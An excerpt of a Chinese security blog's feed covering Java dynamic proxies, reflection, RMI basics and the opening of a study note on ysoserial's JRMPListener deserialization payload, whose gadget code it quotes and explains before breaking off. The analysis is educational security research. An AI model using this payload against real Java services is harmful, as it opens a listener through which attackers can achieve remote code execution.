  <li>当 <code class="language-plaintext highlighter-rouge">Foo</code> 为实现的代理接口之一时，<code class="language-plaintext highlighter-rouge"> proxy instanceof Foo</code>  返 true，并且可以转换 <code class="language-plaintext highlighter-rouge">(Foo) proxy  </code></li>
  <li><code class="language-plaintext highlighter-rouge">Proxy.getInvocationHandler</code> 静态方法会返回 proxy object 关联的 invocation handler</li>
  <li>…</li>
</ul>

<h1 id="参考">参考</h1>

<ul>
  <li><a href="https://docs.oracle.com/javase/8/docs/technotes/guides/reflection/proxy.html">Dynamic Proxy Classes</a></li>
  <li>
    <p><a href="https://javax0.wordpress.com/2016/01/20/java-dynamic-proxy/">java-dynamic-proxy</a></p>
  </li>
  <li><a href="https://stackoverflow.com/questions/933993/what-are-dynamic-proxy-classes-and-why-would-i-use-one">What are Dynamic Proxy classes and why would I use one?</a></li>
</ul>]]></content><author><name>b1ngz</name></author><category term="Java" /><category term="Reflection" /><category term="Proxy" /><summary type="html"><![CDATA[Java 动态代理]]></summary></entry><entry><title type="html">Java Reflection</title><link href="https://b1ngz.github.io/java-reflection/" rel="alternate" type="text/html" title="Java Reflection" /><published>2019-04-28T11:11:00+00:00</published><updated>2019-04-28T11:11:00+00:00</updated><id>https://b1ngz.github.io/java-reflection</id><content type="html" xml:base="https://b1ngz.github.io/java-reflection/"><![CDATA[<h1 id="简介">简介</h1>

<p>反射 (Reflection) 是 Java 语言中的一种特性，能够让程序在<strong>运行时</strong>，获取 class 的相关信息（如内部定义的方法、字段、实现的接口等）、创建 class 实例、调用方法、修改属性等，且这些操作可以在事先（如编译期）不知道类信息的情况下实现</p>

<p><a href="https://softwareengineering.stackexchange.com/a/125173"><strong>使用场景</strong></a></p>

<ul>
  <li>实例化任意 classes，如依赖注入框架在运行时，动态创建用户定义的类 (Bean)</li>
  <li>object 和其他数据格式的相互转换，如根据 getters 和 setters 方法，将 object 转换为 JSON。类库在转换时，并不知道类有哪些字段和方法，而是通过反射来获取相关信息</li>
  <li>代理 class (proxy / wrapping class)
    <ul>
      <li>如某个资源需要 lazy loding，可以使用反射创建一个代理对象，仅当实际用到的时候才进行加载</li>
      <li>mock 库使用反射创建一个代理对象，完成类方法的 mocking</li>
    </ul>
  </li>
</ul>

<p><a href="https://softwareengineering.stackexchange.com/a/101217"><strong>缺点</strong></a></p>

<ul>
  <li>性能：反射需要动态解析 class，JVM 无法进行优化，运行速度相比非反射的要慢</li>
  <li>暴露类的内部结构：反射可以访问 private 变量和方法，违背了抽象原则。若代码中使用反射来调用第三方库，当库版本更新，内部结构发生变化，程序可能会运行失败</li>
  <li>因为可以动态修改属性值，无法保证 type safety，会导致运行时抛出异常</li>
</ul>

<h1 id="细节">细节</h1>

<p><a href="https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html"> java.lang.Class</a> 是所有 Reflection API 的入口类</p>

<p>对于每个 object，JVM 都会实例化一个<code class="language-plaintext highlighter-rouge">Class</code> 实例，来提供运行时获取 object 属性、创建 objects 的能力</p>

<p><strong>获取 Class 实例的几种方式</strong></p>

<ul>
  <li>Object.getClass()
    <ul>
      <li><code class="language-plaintext highlighter-rouge">"foo".getClass()</code></li>
    </ul>
  </li>
  <li>The .class Syntax
    <ul>
      <li><code class="language-plaintext highlighter-rouge">String.class</code></li>
    </ul>
  </li>
  <li>Class.forName()  需要完整的类名( fully-qualified name of a class )
    <ul>
      <li><code class="language-plaintext highlighter-rouge">Class.forName("java.lang.Runtime")</code></li>
    </ul>
  </li>
</ul>

<p><strong>Class 相关方法</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Class&lt;? super T&gt; getSuperclass();</code>  返回父类</li>
  <li><code class="language-plaintext highlighter-rouge">Constructor&lt;?&gt;[] getConstructors()</code> 返回所有 <strong>public</strong> 构造方法，包括从父类继承的</li>
  <li><code class="language-plaintext highlighter-rouge">Constructor&lt;?&gt;[] getDeclaredConstructors()</code> 返回<strong>当前类中定义</strong>的所有构造方法</li>
  <li><code class="language-plaintext highlighter-rouge">Method[] getMethods()</code>  返回所有 <strong>public</strong> 方法，包括从父类继承的</li>
  <li><code class="language-plaintext highlighter-rouge">Method[] getDeclaredMethods()</code>  返回<strong>当前类中定义</strong>的所有方法</li>
  <li><code class="language-plaintext highlighter-rouge">Class&lt;?&gt;[] getInterfaces()</code> Class 是类时，返回类实现的接口；Class 是接口时，返回继承的接口</li>
  <li><code class="language-plaintext highlighter-rouge">Annotation[] getAnnotations()</code> 获取 Annotation</li>
  <li><code class="language-plaintext highlighter-rouge">TypeVariable&lt;Class&lt;T&gt;&gt;[] getTypeParameters()</code> 返回 generic type variables</li>
  <li><code class="language-plaintext highlighter-rouge">int getModifiers()</code>  获取修饰符</li>
  <li>…</li>
</ul>

<p>Class 相关方法调用后的返回值类型在  <code class="language-plaintext highlighter-rouge">java.lang.reflect</code>  包中定义，如</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">java.lang.reflect.Constructor</code>  构造方法
    <ul>
      <li>可调用 <code class="language-plaintext highlighter-rouge">newInstance(Object ... initargs)</code> 来实例化对象 ，<code class="language-plaintext highlighter-rouge">initargs</code> 为构造方法的参数</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">java.lang.reflect.Method</code> 方法
    <ul>
      <li>可调用 <code class="language-plaintext highlighter-rouge">invoke(Object obj, Object... args)</code> 来执行方法，即在 <code class="language-plaintext highlighter-rouge">obj</code> 上调用该方法，<code class="language-plaintext highlighter-rouge">args</code> 为方法参数</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">java.lang.reflect.Field</code>  字段
    <ul>
      <li>调用 <code class="language-plaintext highlighter-rouge">get(Object obj)</code> 来获取 obj 对应字段的值</li>
      <li>调用 <code class="language-plaintext highlighter-rouge">set(Object obj, Object value)</code>，来设置 obj 对应字段值</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">java.lang.reflect.Modifier</code>  修饰符</li>
  <li>…</li>
</ul>

<p>对于私有方法、属性等，在调用和修改时，需要先调用 <code class="language-plaintext highlighter-rouge">setAccessible(true)</code> 来关闭 access checks，否则会失败</p>

<h1 id="示例">示例</h1>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">org.junit.Test</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.lang.reflect.Constructor</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.lang.reflect.Method</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.HashMap</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.util.Map</span><span class="o">;</span>


<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ReflectionTest</span> <span class="o">{</span>
    <span class="nd">@Test</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testGetConstructs</span><span class="o">()</span> <span class="o">{</span>
        <span class="c1">// 获取所有 public 构造方法</span>
        <span class="nc">Constructor</span><span class="o">[]</span> <span class="n">constructors</span> <span class="o">=</span> <span class="nc">HashMap</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getConstructors</span><span class="o">();</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">Constructor</span> <span class="n">constructor</span> <span class="o">:</span> <span class="n">constructors</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">constructor</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="cm">/**
         * 输出
         * public java.util.HashMap(int)
         * public java.util.HashMap()
         * public java.util.HashMap(java.util.Map)
         * public java.util.HashMap(int,float)
         */</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testNewInstance</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="c1">// 使用 public java.util.HashMap(int) 构造方法来创建实例</span>
        <span class="nc">Constructor</span><span class="o">&lt;</span><span class="nc">HashMap</span><span class="o">&gt;</span> <span class="n">constructor</span> <span class="o">=</span> <span class="nc">HashMap</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getConstructor</span><span class="o">(</span><span class="k">new</span> <span class="nc">Class</span><span class="o">[]{</span><span class="kt">int</span><span class="o">.</span><span class="na">class</span><span class="o">});</span>
        <span class="nc">Map</span> <span class="n">map</span> <span class="o">=</span> <span class="n">constructor</span><span class="o">.</span><span class="na">newInstance</span><span class="o">(</span><span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span><span class="mi">10</span><span class="o">});</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">map</span><span class="o">.</span><span class="na">size</span><span class="o">());</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testGetDeclaredMethods</span><span class="o">()</span> <span class="o">{</span>
        <span class="c1">// 获取当前类定义的所有方法</span>
        <span class="nc">Method</span><span class="o">[]</span> <span class="n">methods</span> <span class="o">=</span> <span class="nc">HashMap</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getDeclaredMethods</span><span class="o">();</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">Method</span> <span class="n">method</span> <span class="o">:</span> <span class="n">methods</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">method</span><span class="o">);</span>
        <span class="o">}</span>
        <span class="cm">/**
         * public java.lang.Object java.util.HashMap.remove(java.lang.Object)
         * public boolean java.util.HashMap.remove(java.lang.Object,java.lang.Object)
         * ...
         * void java.util.HashMap.afterNodeRemoval(java.util.HashMap$Node)
         * void java.util.HashMap.internalWriteEntries(java.io.ObjectOutputStream) throws java.io.IOException
         */</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testInvokeMethod</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">&lt;&gt;();</span>
        <span class="nc">String</span> <span class="n">key</span> <span class="o">=</span> <span class="s">"key"</span><span class="o">;</span>
        <span class="n">map</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">key</span><span class="o">,</span> <span class="s">"any"</span><span class="o">);</span>
        <span class="nc">Method</span> <span class="n">method</span> <span class="o">=</span> <span class="nc">HashMap</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getMethod</span><span class="o">(</span><span class="s">"get"</span><span class="o">,</span> <span class="nc">Object</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
        <span class="nc">String</span> <span class="n">value</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span> <span class="n">method</span><span class="o">.</span><span class="na">invoke</span><span class="o">(</span><span class="n">map</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span><span class="n">key</span><span class="o">});</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">value</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">testInvokePrivateMethod</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="nc">Constructor</span><span class="o">&lt;</span><span class="nc">Runtime</span><span class="o">&gt;</span> <span class="n">constructor</span> <span class="o">=</span> <span class="nc">Runtime</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getDeclaredConstructor</span><span class="o">(</span><span class="kc">null</span><span class="o">);</span>
        <span class="n">constructor</span><span class="o">.</span><span class="na">setAccessible</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
        <span class="nc">Runtime</span> <span class="n">runtime</span> <span class="o">=</span> <span class="n">constructor</span><span class="o">.</span><span class="na">newInstance</span><span class="o">();</span>
        <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="n">runtime</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<h1 id="参考">参考</h1>

<ul>
  <li><a href="https://docs.oracle.com/javase/tutorial/reflect/index.html">Trail: The Reflection API</a></li>
  <li><a href="https://docs.oracle.com/javase/tutorial/reflect/class/index.html">Classes</a></li>
  <li><a href="https://docs.oracle.com/javase/tutorial/reflect/member/index.html">Members</a></li>
  <li><a href="https://docs.oracle.com/javase/tutorial/reflect/special/index.html">Arrays and Enumerated Types</a></li>
</ul>]]></content><author><name>b1ngz</name></author><category term="Java" /><category term="反射" /><category term="Reflection" /><summary type="html"><![CDATA[Java Reflection]]></summary></entry><entry><title type="html">Java RMI 笔记</title><link href="https://b1ngz.github.io/java-rmi/" rel="alternate" type="text/html" title="Java RMI 笔记" /><published>2019-04-20T16:20:00+00:00</published><updated>2019-04-20T16:20:00+00:00</updated><id>https://b1ngz.github.io/java-rmi</id><content type="html" xml:base="https://b1ngz.github.io/java-rmi/"><![CDATA[<h1 id="0x01-简介">0x01 简介</h1>

<p>RMI (Java Remote Method Invocation) Java 远程方法调用，是一种允许一个 JVM 上的 object 调用另一个 JVM 上 object 方法的机制</p>

<p>RMI 可以使用以下协议实现：</p>

<ul>
  <li>Java Remote Method Protocol (JRMP)：专门为 RMI 设计的协议</li>
  <li>Internet Inter-ORB Protocol (IIOP) ：基于 <code class="language-plaintext highlighter-rouge">CORBA</code> 实现的跨语言协议</li>
</ul>

<p>RMI 程序通常包括</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">rmi registry</code> naming service，提供 remote object 注册，name 到 remote object 的绑定和查询，是一种特殊的 remote object</li>
  <li><code class="language-plaintext highlighter-rouge">rmi server</code> 创建 remote object，将其注册到 RMI registry</li>
  <li><code class="language-plaintext highlighter-rouge">rmi client</code> 通过 name 向 RMI registry 获取 remote object reference (stub)，调用其方法</li>
</ul>

<p>官方文档中的图例</p>

<p><img src="/assets/images/rmi/rmi-2.gif" alt="the RMI system, using an existing web server, communicates from serve to client and from client to server" /></p>

<p>通常 RMI server 和 registry 运行在同一个 host 的不同端口上</p>

<blockquote>
  <p>RMI Registry 默认运行在 1099 端口上</p>

  <p>RMI URL <code class="language-plaintext highlighter-rouge">rmi://hostname:port/remoteObjectName</code></p>
</blockquote>

<p>具体参考 <a href="https://docs.oracle.com/javase/tutorial/rmi/overview.html">RMI Overview</a></p>

<h1 id="0x02-示例">0x02 示例</h1>

<p>参考  <a href="https://docs.oracle.com/javase/8/docs/technotes/guides/rmi/hello/hello-world.html">Getting Started Using Java RMI</a></p>

<h3 id="定义-remote-接口和方法"><strong>定义 remote 接口和方法</strong></h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">com.b1ngz.sec.rmi</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.rmi.Remote</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.rmi.RemoteException</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">interface</span> <span class="nc">Hello</span> <span class="kd">extends</span> <span class="nc">Remote</span> <span class="o">{</span>
    <span class="nc">String</span> <span class="nf">sayHello</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">RemoteException</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>需要实现 <code class="language-plaintext highlighter-rouge">Remote</code> 接口，接口方法需要抛出 <code class="language-plaintext highlighter-rouge">RemoteException</code> 或其父类的异常</p>

<h3 id="实现-server"><strong>实现 server</strong></h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">com.b1ngz.sec.rmi</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.rmi.RemoteException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.rmi.registry.LocateRegistry</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.rmi.registry.Registry</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.rmi.server.UnicastRemoteObject</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">Server</span> <span class="kd">implements</span> <span class="nc">Hello</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="nc">Server</span> <span class="n">obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Server</span><span class="o">();</span>
            <span class="nc">Hello</span> <span class="n">stub</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Hello</span><span class="o">)</span> <span class="nc">UnicastRemoteObject</span><span class="o">.</span><span class="na">exportObject</span><span class="o">(</span><span class="n">obj</span><span class="o">,</span> <span class="mi">56666</span><span class="o">);</span>
            <span class="nc">Registry</span> <span class="n">registry</span> <span class="o">=</span> <span class="nc">LocateRegistry</span><span class="o">.</span><span class="na">createRegistry</span><span class="o">(</span><span class="mi">11099</span><span class="o">);</span>
            <span class="n">registry</span><span class="o">.</span><span class="na">bind</span><span class="o">(</span><span class="s">"Hello"</span><span class="o">,</span> <span class="n">stub</span><span class="o">);</span>

        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Server Exception: "</span> <span class="o">+</span> <span class="n">e</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>

    <span class="kd">public</span> <span class="nc">String</span> <span class="nf">sayHello</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">RemoteException</span> <span class="o">{</span>
        <span class="k">return</span> <span class="s">"Hello, World"</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Server</code> 类实现了 <code class="language-plaintext highlighter-rouge">Hello</code> 接口，在 main 函数中创建并导出 remote object，接着将 remote object 注册到 RMI registry 中</p>

<p><code class="language-plaintext highlighter-rouge">UnicastRemoteObject.exportObject(obj, 56666)</code> 方法执行完后，会运行 rmi server，监听在本地 56666 端口，等待 client 的请求。<code class="language-plaintext highlighter-rouge">exportObject()</code> 方法返回结果为 remote object stub (代理对象，实现了与 <code class="language-plaintext highlighter-rouge">Hello</code> 接口同样的方法，包含 rmi server 的 host、port 信息)</p>

<p><code class="language-plaintext highlighter-rouge">LocateRegistry.createRegistry(11099);</code> 执行完后，会创建并启动 RMI registry，监听在本地 11099 端口</p>

<p><code class="language-plaintext highlighter-rouge">registry.bind("Hello", stub);</code>  将 <code class="language-plaintext highlighter-rouge">stub</code> 注册到 registry，并与 name <code class="language-plaintext highlighter-rouge">Hello</code> 绑定</p>

<h3 id="实现-client">实现 client</h3>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">com.b1ngz.sec.rmi</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.rmi.registry.LocateRegistry</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.rmi.registry.Registry</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">Client</span> <span class="o">{</span>

    <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>

        <span class="nc">String</span> <span class="n">host</span> <span class="o">=</span> <span class="s">"localhost"</span><span class="o">;</span>
        <span class="kt">int</span> <span class="n">port</span> <span class="o">=</span> <span class="mi">11099</span><span class="o">;</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="nc">Registry</span> <span class="n">registry</span> <span class="o">=</span> <span class="nc">LocateRegistry</span><span class="o">.</span><span class="na">getRegistry</span><span class="o">(</span><span class="n">host</span><span class="o">,</span> <span class="n">port</span><span class="o">);</span>
            <span class="nc">Hello</span> <span class="n">stub</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Hello</span><span class="o">)</span> <span class="n">registry</span><span class="o">.</span><span class="na">lookup</span><span class="o">(</span><span class="s">"Hello"</span><span class="o">);</span>
            <span class="nc">String</span> <span class="n">response</span> <span class="o">=</span> <span class="n">stub</span><span class="o">.</span><span class="na">sayHello</span><span class="o">();</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"response: "</span> <span class="o">+</span> <span class="n">response</span><span class="o">);</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">System</span><span class="o">.</span><span class="na">err</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"Client exception: "</span> <span class="o">+</span> <span class="n">e</span><span class="o">.</span><span class="na">toString</span><span class="o">());</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">LocateRegistry.getRegistry(host, port);</code> 获取 rmi registry</p>

<p><code class="language-plaintext highlighter-rouge">registry.lookup("Hello")</code> 获取 remote object stub</p>

<p>调用 stub 的 <code class="language-plaintext highlighter-rouge">sayHello()</code> 方法背后的流程：</p>

<ul>
  <li>client 端通过 stub 中包含的 host、port 信息，与 remote object 所在的 server 建立连接 ，然后序列化调用数据</li>
  <li>server 端接收调用请求，将调用转发给 remote object，然后序列化结果，返回给 client</li>
  <li>client 端接收、反序列化结果</li>
</ul>

<h1 id="0x03-安全">0x03 安全</h1>

<p>在远程方法调用过程中，参数需要先序列化，从 local JVM 发送到 remote  JVM，然后在 remote JVM 上反序列化，执行完后，将结果序列化，发送回 local JVM，因此可能会存在反序列化漏洞</p>

<p>此外，RMI 有一个特性，即当 class 在 receiver 的 JVM 中没有定义时，可以动态从本地 / 远程加载 object class ，在默认情况下 ( <code class="language-plaintext highlighter-rouge">JDK 7u21</code> 起)，只允许从本地加载，即 <code class="language-plaintext highlighter-rouge">java.rmi.server.useCodebaseOnly</code> 为 <code class="language-plaintext highlighter-rouge">true</code>，并且有 Security Manager 的存在，因此利用比较困难</p>

<h1 id="0x04-qa">0x04 Q&amp;A</h1>

<ul>
  <li><a href="https://stackoverflow.com/a/5658953">what is RMI registry</a></li>
  <li><a href="https://stackoverflow.com/a/32916208">registry vs.  RMI  server</a></li>
</ul>

<h1 id="0x05-参考">0x05 参考</h1>

<ul>
  <li><a href="https://docs.oracle.com/javase/8/docs/technotes/guides/rmi/faq.html">Frequently Asked Questions Java RMI and Object Serialization</a></li>
  <li><a href="https://www.quora.com/What-is-rmiregistry">What is rmiregistry?</a></li>
  <li><a href="https://www.oracle.com/technetwork/java/javase/tech/index-jsp-138781.html">Java Remote Method Invocation - Distributed Computing for Java</a></li>
  <li><a href="https://docs.oracle.com/javase/8/docs/technotes/guides/rmi/rmi_security_recommendations.html">RMI Security Recommendations</a></li>
  <li><a href="https://vulners.com/zdi/ZDI-11-306">Oracle Java IIOP Deserialization Type Confusion Remote Code Execution Vulnerability</a></li>
</ul>]]></content><author><name>b1ngz</name></author><category term="Java" /><category term="RMI" /><category term="Remote Method Invocation" /><summary type="html"><![CDATA[Java RMI Note]]></summary></entry><entry><title type="html">Java 反序列化 ysoserial JRMPListener</title><link href="https://b1ngz.github.io/java-ysoserial-jrmplistener/" rel="alternate" type="text/html" title="Java 反序列化 ysoserial JRMPListener" /><published>2019-04-20T16:20:00+00:00</published><updated>2019-04-20T16:20:00+00:00</updated><id>https://b1ngz.github.io/java-ysoserial-jrmplistener</id><content type="html" xml:base="https://b1ngz.github.io/java-ysoserial-jrmplistener/"><![CDATA[<h1 id="0x01-简介">0x01 简介</h1>

<p>Java 反序列化 ysoserial <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java">JRMPListener</a> payload 学习笔记</p>

<p>JRMP (Java Remote Method Protocol) 是 Java 实现 RMI 的专有协议，关于 RMI 可以参考  <a href="https://b1ngz.github.io/java-rmi">Java RMI 笔记</a>，有助于理解 <code class="language-plaintext highlighter-rouge">JRMPListener</code> 的利用过程</p>

<h1 id="0x02-分析">0x02 分析</h1>

<p><code class="language-plaintext highlighter-rouge">JRMPListener</code> payload 执行完成后，会在目标机器上的指定端口开启基于 JRMP 协议的 RMI server，我们需要再使用 <code class="language-plaintext highlighter-rouge">exploit/JRMPClient</code> 请求开启的 RMI server，发送指定的 gadget 来完成利用，具体步骤见 <a href="#本地测试">本地测试</a> 部分</p>

<p>来看一下 <code class="language-plaintext highlighter-rouge">payloads/JRMPListener</code> 代码</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">public</span> <span class="nc">UnicastRemoteObject</span> <span class="nf">getObject</span> <span class="o">(</span> <span class="kd">final</span> <span class="nc">String</span> <span class="n">command</span> <span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="kt">int</span> <span class="n">jrmpPort</span> <span class="o">=</span> <span class="nc">Integer</span><span class="o">.</span><span class="na">parseInt</span><span class="o">(</span><span class="n">command</span><span class="o">);</span>
        <span class="nc">UnicastRemoteObject</span> <span class="n">uro</span> <span class="o">=</span> <span class="nc">Reflections</span><span class="o">.</span><span class="na">createWithConstructor</span><span class="o">(</span><span class="nc">ActivationGroupImpl</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="nc">RemoteObject</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Class</span><span class="o">[]</span> <span class="o">{</span>
            <span class="nc">RemoteRef</span><span class="o">.</span><span class="na">class</span>
        <span class="o">},</span> <span class="k">new</span> <span class="nc">Object</span><span class="o">[]</span> <span class="o">{</span>
            <span class="k">new</span> <span class="nf">UnicastServerRef</span><span class="o">(</span><span class="n">jrmpPort</span><span class="o">)</span>
        <span class="o">});</span>

        <span class="nc">Reflections</span><span class="o">.</span><span class="na">getField</span><span class="o">(</span><span class="nc">UnicastRemoteObject</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="s">"port"</span><span class="o">).</span><span class="na">set</span><span class="o">(</span><span class="n">uro</span><span class="o">,</span> <span class="n">jrmpPort</span><span class="o">);</span>
        <span class="k">return</span> <span class="n">uro</span><span class="o">;</span>
    <span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">command</code> 参数为 RMI server 监听端口</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>        <span class="nc">UnicastRemoteObject</span> <span class="n">uro</span> <span class="o">=</span> <span class="nc">Reflections</span><span class="o">.</span><span class="na">createWithConstructor</span><span class="o">(</span><span class="nc">ActivationGroupImpl</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="nc">RemoteObject</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Class</span><span class="o">[]</span> <span class="o">{</span>
            <span class="nc">RemoteRef</span><span class="o">.</span><span class="na">class</span>
        <span class="o">},</span> <span class="k">new</span> <span class="nc">Object</span><span class="o">[]</span> <span class="o">{</span>
            <span class="k">new</span> <span class="nf">UnicastServerRef</span><span class="o">(</span><span class="n">jrmpPort</span><span class="o">)</span>
        <span class="o">});</span>
</code></pre></div></div>

<p>使用父类  <code class="language-plaintext highlighter-rouge">RemoteObject</code> 的构造方法 <code class="language-plaintext highlighter-rouge">protected RemoteObject(RemoteRef newref)</code>，反射创建 <code class="language-plaintext highlighter-rouge">ActivationGroupImpl</code> 类的实例， 参数为 <code class="language-plaintext highlighter-rouge">UnicastServerRef</code> 的实例，用于指定 RMI server 监听端口，最后赋值的变量类型为 <code class="language-plaintext highlighter-rouge">UnicastRemoteObject</code>，其继承关系如下</p>

<p><img src="/assets/images/ysoserial/UnicastRemoteObject.png" alt="image-20190418182428412" /></p>

<p>再来看一下反序列化的过程，<code class="language-plaintext highlighter-rouge">ActivationGroupImpl</code> 类没有重写 <code class="language-plaintext highlighter-rouge">readObject</code> 方法，实际调用的是 <code class="language-plaintext highlighter-rouge">UnicastRemoteObject</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">private</span> <span class="kt">void</span> <span class="nf">readObject</span><span class="o">(</span><span class="n">java</span><span class="o">.</span><span class="na">io</span><span class="o">.</span><span class="na">ObjectInputStream</span> <span class="n">in</span><span class="o">)</span>
        <span class="kd">throws</span> <span class="n">java</span><span class="o">.</span><span class="na">io</span><span class="o">.</span><span class="na">IOException</span><span class="o">,</span> <span class="n">java</span><span class="o">.</span><span class="na">lang</span><span class="o">.</span><span class="na">ClassNotFoundException</span>
    <span class="o">{</span>
        <span class="n">in</span><span class="o">.</span><span class="na">defaultReadObject</span><span class="o">();</span>
        <span class="n">reexport</span><span class="o">();</span>
    <span class="o">}</span>
